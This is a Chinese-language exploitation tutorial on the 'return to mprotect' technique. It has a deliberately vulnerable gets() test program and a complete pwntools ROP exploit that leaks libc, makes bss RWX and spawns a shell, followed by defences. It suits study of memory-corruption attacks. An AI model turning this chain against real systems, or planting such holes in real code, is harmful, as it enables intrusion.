一步一步分析return to mprotect的利用
字数 1158 2025-08-24 16:48:07
Return to mprotect 漏洞利用技术详解
1. 技术原理
return to mprotect 是一种利用内存权限修改函数来绕过安全保护的漏洞利用技术,主要应用于以下场景:
- 当关键函数被禁用时(如system)
- 需要修改内存区域权限以执行自定义代码
- 绕过NX(No-eXecute)保护机制
mprotect函数介绍
mprotect() 是Linux系统中用于修改内存区域保护属性的函数,其原型为:
int mprotect(const void *start, size_t len, int prot);
参数说明:
start: 内存区域的起始地址len: 要修改的内存区域大小prot: 新的保护属性(通常用8进制表示)
保护属性标志:
PROT_READ(0x1): 可读PROT_WRITE(0x2): 可写PROT_EXEC(0x4): 可执行PROT_NONE(0x0): 无权限
2. 利用流程
完整的利用过程分为四个步骤:
- 泄漏内存地址:获取libc基地址
- 修改内存权限:使用mprotect修改目标区域为RWX
- 写入shellcode:将恶意代码写入可执行区域
- 跳转执行:执行写入的shellcode
3. 实验环境搭建
测试程序源码
#include <stdio.h>
#include <stdlib.h>
void vuln() {
char s[0x20];
puts("Input:");
gets(&s);
}
int main(void) {
vuln();
exit(0);
}
编译选项
gcc -fno-stack-protector test.c -o vuln
保护机制检查
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
4. 详细利用步骤
步骤1:泄漏libc地址
from pwn import *
r = process('./vuln')
elf = ELF('./vuln')
rop = ROP('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './vuln'
context.log_level = 'debug'
# 获取ROP gadget
pop_rdi_ret = 0x0000000000400663
main_addr = 0x00000000004005DC
# 构造泄漏payload
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)
# 发送并接收泄漏的地址
r.recvuntil("Input:")
r.sendline(payload)
r.recvline()
leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8, '\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x", libc.address)
步骤2:修改bss段权限为RWX
# 获取必要的ROP gadget
pop_rsi_ret = libc.address + 0x00000000000202e8
pop_rdx_ret = libc.address + 0x0000000000001b92
bss_start_addr = 0x00601000
# 构造mprotect调用链
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(bss_start_addr) # start
payload += p64(pop_rsi_ret)
payload += p64(0x1000) # len
payload += p64(pop_rdx_ret)
payload += p64(0x7) # prot (RWX)
payload += p64(libc.sym['mprotect'])
payload += p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
步骤3:向bss段写入shellcode
shellcode_addr = 0x00602000 - 0x100
# 使用gets函数写入shellcode
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(shellcode_addr)
payload += p64(libc.sym['gets'])
payload += p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
time.sleep(1)
r.sendline(asm(shellcraft.sh())) # 注意确保生成64位shellcode
步骤4:跳转执行shellcode
payload = cyclic(40)
payload += p64(shellcode_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.interactive()
5. 关键点说明
-
ROP gadget查找:
- 需要找到
pop rdi; ret、pop rsi; ret和pop rdx; ret等gadget - 可以使用
ROPgadget工具或pwntools的ROP功能查找
- 需要找到
-
内存区域选择:
- 通常选择bss段作为目标区域
- 需要确保区域足够大且不会影响程序正常运行
-
shellcode生成:
- 注意架构匹配(32位/64位)
- 使用
context.binary设置正确的上下文 - 可以使用
shellcraft模块生成标准shellcode
-
权限设置:
0x7表示RWX权限(1|2|4)- 修改的区段大小需要对齐页边界(通常0x1000)
6. 完整EXP示例
from pwn import *
import time
r = process('./vuln')
elf = ELF('./vuln')
rop = ROP('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './vuln'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
pop_rdi_ret = 0x0000000000400663
main_addr = 0x00000000004005DC
bss_start_addr = 0x00601000
shellcode_addr = 0x00602000 - 0x100
# Step1: Leak libc address
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.recvline()
leak_addr = u64((r.recvline().split("\x0a")[0]).ljust(8, '\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x", libc.address)
# Step2: Modify bss permission to RWX
pop_rsi_ret = libc.address + 0x00000000000202e8
pop_rdx_ret = libc.address + 0x0000000000001b92
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(bss_start_addr)
payload += p64(pop_rsi_ret)
payload += p64(0x1000)
payload += p64(pop_rdx_ret)
payload += p64(0x7)
payload += p64(libc.sym['mprotect'])
payload += p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
# Step3: Write shellcode to bss
payload = cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(shellcode_addr)
payload += p64(libc.sym['gets'])
payload += p64(main_addr)
r.recvuntil("Input:")
r.sendline(payload)
time.sleep(1)
r.sendline(asm(shellcraft.sh()))
# Step4: Jump to shellcode
payload = cyclic(40)
payload += p64(shellcode_addr)
r.recvuntil("Input:")
r.sendline(payload)
r.interactive()
7. 防御措施
- 启用全RELRO:防止GOT表被篡改
- 启用栈保护:使用canary检测栈溢出
- 启用PIE:使地址随机化
- 限制mprotect使用:通过seccomp等机制
- 代码审计:避免使用危险函数如gets
8. 总结
return to mprotect技术通过以下方式绕过安全限制:
- 利用ROP链调用mprotect修改内存权限
- 将不可执行区域变为可执行
- 写入并执行自定义shellcode
这种技术特别适用于NX保护开启但其他保护措施不完善的环境,是二进制漏洞利用中的重要技术之一。